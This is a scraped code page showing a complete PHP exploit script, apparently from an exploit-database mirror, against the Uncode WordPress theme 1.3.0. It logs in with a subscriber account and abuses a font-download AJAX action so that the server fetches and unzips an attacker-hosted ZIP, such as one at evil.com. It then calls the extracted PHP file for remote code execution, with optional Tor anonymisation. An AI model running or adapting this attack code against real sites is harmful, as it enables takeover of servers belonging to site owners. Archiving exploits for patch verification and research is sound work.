PageRenderTime 53ms CodeModel.GetById 28ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/php/webapps/39895.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 152 lines | 108 code | 30 blank | 14 comment | 14 complexity | 2984dfea9d986e9f155179b5873dafaa MD5 | raw file
Possible License(s): GPL-2.0
  1. <?php
  2. /**
  3. * Exploit Title: Uncode WP Theme RCE Expoit
  4. * Google Dork:
  5. * Exploit Author: wp0Day.com <contact@wp0day.com>
  6. * Vendor Homepage:
  7. * Software Link: http://themeforest.net/item/uncode-creative-multiuse-wordpress-theme/13373220
  8. * Version: 1.3.0 possible 1.3.1
  9. * Tested on: Debian 8, PHP 5.6.17-3
  10. * Type: RCE, Arbirary file UPLOAD, (Low Authenticated )
  11. * Time line: Found [24-APR-2016], Vendor notified [24-APR-2016], Vendor fixed: [27-APR-2016], [RD:1464134400]
  12. */
  13. require_once('curl.php');
  14. //OR
  15. //include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
  16. $curl = new CurlWrapper();
  17. $options = getopt("t:u:p:f:",array('tor:'));
  18. print_r($options);
  19. $options = validateInput($options);
  20. if (!$options){
  21. showHelp();
  22. }
  23. if ($options['tor'] === true)
  24. {
  25. echo " ### USING TOR ###\n";
  26. echo "Setting TOR Proxy...\n";
  27. $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
  28. $curl->addOption(CURLOPT_PROXYTYPE,7);
  29. echo "Checking IPv4 Address\n";
  30. $curl->get('https://dynamicdns.park-your-domain.com/getip');
  31. echo "Got IP : ".$curl->getResponse()."\n";
  32. echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
  33. $answer = fgets(fopen ("php://stdin","r"));
  34. if(trim($answer) != 'wololo'){
  35. die("Aborting!\n");
  36. }
  37. echo "OK...\n";
  38. }
  39. function logIn(){
  40. global $curl, $options;
  41. file_put_contents('cookies.txt',"\n");
  42. $curl->setCookieFile('cookies.txt');
  43. $curl->get($options['t']);
  44. $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
  45. $curl->post($options['t'].'/wp-login.php', $data);
  46. $status = $curl->getTransferInfo('http_code');
  47. if ($status !== 302){
  48. echo "Login probably failed, aborting...\n";
  49. echo "Login response saved to login.html.\n";
  50. die();
  51. }
  52. file_put_contents('login.html',$curl->getResponse());
  53. }
  54. function exploit(){
  55. global $curl, $options;
  56. echo "Generateing payload.\n";
  57. $data = array('action'=>'uncodefont_download_font', 'font_url'=>$options['f']);
  58. echo "Sending payload\n";
  59. $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
  60. $resp = $curl->getResponse();
  61. echo "Eco response: ".$resp."\n";
  62. $resp = json_decode($resp,true);
  63. if ($resp['success'] === 'Font downloaded and extracted successfully.'){
  64. echo "Response ok, calling RCE\n";
  65. $file_path = parse_url($options['f']);
  66. $remote_file_info = pathinfo($file_path['path']);
  67. $zip_file_name = $remote_file_info['basename'];
  68. $zip_file_name_php = str_replace('.zip', '.php', $zip_file_name);
  69. $url = $options['t'].'wp-content/uploads/uncode-fonts/'.$zip_file_name.'/'.$zip_file_name_php;
  70. echo 'Url: '. $url."\n";
  71. //POC Test mode
  72. if ($file_path['host'] == 'wp0day.com'){
  73. echo "Exploit test mode on\n";
  74. $rnd = rand();
  75. echo "Rand $rnd, MD5: ".md5($rnd)."\n";
  76. $url = $url . '?poc='.$rnd;
  77. }
  78. $curl->get($url);
  79. echo "RCE Response:";
  80. echo $curl->getResponse()."\n\n";
  81. }
  82. }
  83. logIn();
  84. exploit();
  85. function validateInput($options){
  86. if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
  87. return false;
  88. }
  89. if ( !isset($options['u']) ){
  90. return false;
  91. }
  92. if ( !isset($options['p']) ){
  93. return false;
  94. }
  95. if ( !isset($options['f']) ){
  96. return false;
  97. }
  98. if (!preg_match('~/$~',$options['t'])){
  99. $options['t'] = $options['t'].'/';
  100. }
  101. $options['tor'] = isset($options['tor']);
  102. return $options;
  103. }
  104. function showHelp(){
  105. global $argv;
  106. $help = <<<EOD
  107. Uncode WP Theme RCE Expoit
  108. Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -f [URL]
  109. *** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **
  110. [TARGET_URL] http://localhost/wordpress/
  111. [URL] It must be ZIP file. It gets unzipped into /wp-content/uploads/uncode-fonts/[some.zip]/files folder
  112. Example: rce.php -> zip -> rce.zip -> http://evil.com/rce.zip -> /wp-content/uploads/uncode-fonts/rce.zip/rce.php
  113. Examples:
  114. php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -f http://wp0day.com/res/php/poc.zip
  115. Misc:
  116. CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
  117. @link http://github.com/svyatov/CurlWrapper
  118. @license http://www.opensource.org/licenses/mit-license.html MIT License
  119. EOD;
  120. echo $help."\n\n";
  121. die();
  122. }